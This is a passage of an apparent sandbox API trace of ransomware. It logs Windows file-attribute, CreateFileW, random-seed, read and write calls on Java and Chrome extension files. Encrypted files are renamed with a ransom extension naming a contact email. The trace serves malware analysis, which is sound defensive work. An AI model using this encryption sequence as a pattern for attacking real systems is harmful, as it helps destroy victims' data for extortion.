BaseAddress=0x8e92c8) returned 1 Thread: id = 7453 os_tid = 0xb68 [0181.666] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\simferopol")) returned 0x20 [0183.730] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol", dwFileAttributes=0x20) returned 0 [0183.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\simferopol"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.731] GetLastError () returned 0x5 [0183.731] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol", dwFileAttributes=0x20) returned 0 [0183.731] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0880) returned 1 Thread: id = 7454 os_tid = 0xb6c [0181.666] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Sofia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\sofia")) returned 0x20 [0183.739] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Sofia", dwFileAttributes=0x20) returned 0 [0183.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Sofia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\sofia"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.739] GetLastError () returned 0x5 [0183.739] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Sofia", dwFileAttributes=0x20) returned 0 [0183.739] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8b48) returned 1 Thread: id = 7455 os_tid = 0xbdc [0181.667] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\stockholm")) returned 0x20 [0183.731] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm", dwFileAttributes=0x20) returned 0 [0183.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\stockholm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.732] GetLastError () returned 0x5 [0183.732] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm", dwFileAttributes=0x20) returned 0 [0183.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0600) returned 1 Thread: id = 7456 os_tid = 0xbe8 [0181.668] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\tallinn")) returned 0x20 [0183.738] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn", dwFileAttributes=0x20) returned 0 [0183.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\tallinn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.738] GetLastError () returned 0x5 [0183.738] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn", dwFileAttributes=0x20) returned 0 [0183.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8710) returned 1 Thread: id = 7457 os_tid = 0xbec [0181.668] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\tirane")) returned 0x20 [0183.737] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane", dwFileAttributes=0x20) returned 0 [0183.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\tirane"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.737] GetLastError () returned 0x5 [0183.737] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane", dwFileAttributes=0x20) returned 0 [0183.737] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e18) returned 1 Thread: id = 7458 os_tid = 0xbf0 [0181.669] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\uzhgorod")) returned 0x20 [0183.736] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod", dwFileAttributes=0x20) returned 0 [0183.736] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\uzhgorod"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.736] GetLastError () returned 0x5 [0183.736] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod", dwFileAttributes=0x20) returned 0 [0183.736] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8c38) returned 1 Thread: id = 7459 os_tid = 0xbf4 [0181.670] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vaduz" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vaduz")) returned 0x20 [0183.735] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vaduz", dwFileAttributes=0x20) returned 0 [0183.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vaduz" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vaduz"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.735] GetLastError () returned 0x5 [0183.735] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vaduz", dwFileAttributes=0x20) returned 0 [0183.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c5a8) returned 1 Thread: id = 7460 os_tid = 0xbf8 [0181.671] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vienna")) returned 0x20 [0183.734] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna", dwFileAttributes=0x20) returned 0 [0183.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vienna"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.734] GetLastError () returned 0x5 [0183.734] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna", dwFileAttributes=0x20) returned 0 [0183.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bcc0) returned 1 Thread: id = 7461 os_tid = 0xbfc [0181.672] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vilnius")) returned 0x20 [0181.848] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius", dwFileAttributes=0x20) returned 0 [0181.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vilnius"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0181.848] GetLastError () returned 0x5 [0181.848] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius", dwFileAttributes=0x20) returned 0 [0181.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c620) returned 1 Thread: id = 7462 os_tid = 0x5d4 [0181.672] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\volgograd")) returned 0x20 [0181.849] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd", dwFileAttributes=0x20) returned 0 [0181.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\volgograd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0181.850] GetLastError () returned 0x5 [0181.850] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Volgograd", dwFileAttributes=0x20) returned 0 [0181.850] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfd80) returned 1 Thread: id = 7463 os_tid = 0x78c [0181.857] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\warsaw")) returned 0x20 [0183.733] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw", dwFileAttributes=0x20) returned 0 [0183.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\warsaw"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.733] GetLastError () returned 0x5 [0183.733] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Warsaw", dwFileAttributes=0x20) returned 0 [0183.733] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bf90) returned 1 Thread: id = 7464 os_tid = 0x1da0 [0181.858] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json")) returned 0x2020 [0181.858] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json", dwFileAttributes=0x20) returned 1 [0187.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1184 [0187.248] GetFileSizeEx (in: hFile=0x1184, lpFileSize=0xc2cfcb8 | out: lpFileSize=0xc2cfcb8*=217) returned 1 [0187.248] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af140 [0187.248] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909758 [0187.248] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909528 [0187.248] NtQuerySystemTime (in: CurrentTime=0xc2cfc18 | out: CurrentTime=0xc2cfc18*=132174899618482000) returned 0x0 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x6383bef1 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x3ee64b4c [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x4a713c83 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x13ceb463 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x63b3fcd2 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x44b2f374 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x28a92a4a [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x3aff7989 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x25be8fd9 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x2c61944 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x5f58366 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x414d8f25 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x31691d56 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x3f4cdfa4 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x1db12936 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x5a168657 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x6f933e96 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0xa2eef37 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x5ce52d7c [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x56215f06 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x29e66b21 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x17f02edb [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x6f547921 [0187.248] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x26292f75 [0187.249] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x58d10641 [0187.249] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x430f989d [0187.249] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x6cfe255f [0187.249] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x76344b6f [0187.249] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x41753b22 [0187.249] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x4c201470 [0187.249] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x63f78723 [0187.249] RtlRandomEx (in: Seed=0xc2cfc24 | out: Seed=0xc2cfc24) returned 0x452e12ff [0187.262] ReadFile (hFile=0x1184, lpBuffer=0x133cf8c0, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0xc2cfc14, lpOverlapped=0x0) [0187.263] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.263] WriteFile (in: hFile=0x1184, lpBuffer=0x133dc0c8*, nNumberOfBytesToWrite=0xd9, lpNumberOfBytesWritten=0xc2cfc10, lpOverlapped=0x0 | out: lpBuffer=0x133dc0c8*, lpNumberOfBytesWritten=0xc2cfc10*=0xd9, lpOverlapped=0x0) returned 1 [0189.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af078 [0189.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee20 [0189.996] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee20) returned 1 [0189.996] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x133dc0c8) returned 1 [0189.996] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x133cf8c0) returned 1 [0189.996] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8cb0) returned 1 [0189.996] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2668) returned 1 [0189.996] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x937fd0 [0189.996] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.997] WriteFile (in: hFile=0x1184, lpBuffer=0x12cf6210*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xc2cfc78, lpOverlapped=0x0 | out: lpBuffer=0x12cf6210*, lpNumberOfBytesWritten=0xc2cfc78*=0x10b, lpOverlapped=0x0) returned 1 [0190.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6210) returned 1 [0190.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938000) returned 1 [0190.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee20) returned 1 [0190.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fd0) returned 1 [0190.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af078) returned 1 [0190.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909758) returned 1 [0190.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909820) returned 1 [0190.175] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909618) returned 1 [0190.175] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c9c10 [0190.175] wcscpy (in: _Dest=0xd4c9c10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" [0190.175] wcscat (in: _Dest=0xd4c9c10, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0190.175] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc2cfc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0190.175] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x935620 Thread: id = 7465 os_tid = 0x1da4 [0181.859] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json")) returned 0x2020 [0181.859] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json", dwFileAttributes=0x20) returned 1 [0187.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1118 [0187.263] GetFileSizeEx (in: hFile=0x1118, lpFileSize=0xc44f864 | out: lpFileSize=0xc44f864*=286) returned 1 [0187.263] SetFilePointerEx (in: hFile=0x1118, liDistanceToMove=0x11a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.263] ReadFile (in: hFile=0x1118, lpBuffer=0xc44f7e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc44f7e4, lpOverlapped=0x0 | out: lpBuffer=0xc44f7e8*, lpNumberOfBytesRead=0xc44f7e4*=0x4, lpOverlapped=0x0) returned 1 [0187.264] SetFilePointerEx (in: hFile=0x1118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.264] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af140 [0187.264] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909528 [0187.264] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9092a8 [0187.264] NtQuerySystemTime (in: CurrentTime=0xc44f7c4 | out: CurrentTime=0xc44f7c4*=132174899618638000) returned 0x0 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x3843d6a5 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x9fc3be0 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0xb4c4e47 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x4dc59afc [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x2c66b0ba [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x2fcbfec0 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0xaa9ade5 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x57c2e807 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x63079309 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x2edb3a0b [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x736f18f2 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x2deccf5d [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x45dcf61f [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x7e5eea83 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x3495eaf7 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x1e8558f0 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x35dbad5e [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x4bfb5164 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x21a97ef [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x140cdc93 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x6e182bb0 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x63d30450 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x1c19c5e0 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x1d53827c [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x73f6f483 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x4002f6ac [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x3c7c2e47 [0187.265] RtlRandomEx (in: Seed=0xc44f7d0 | out: Seed=0xc44f7d0) returned 0x67d2f329 [0187.265] RtlRandomEx (in: 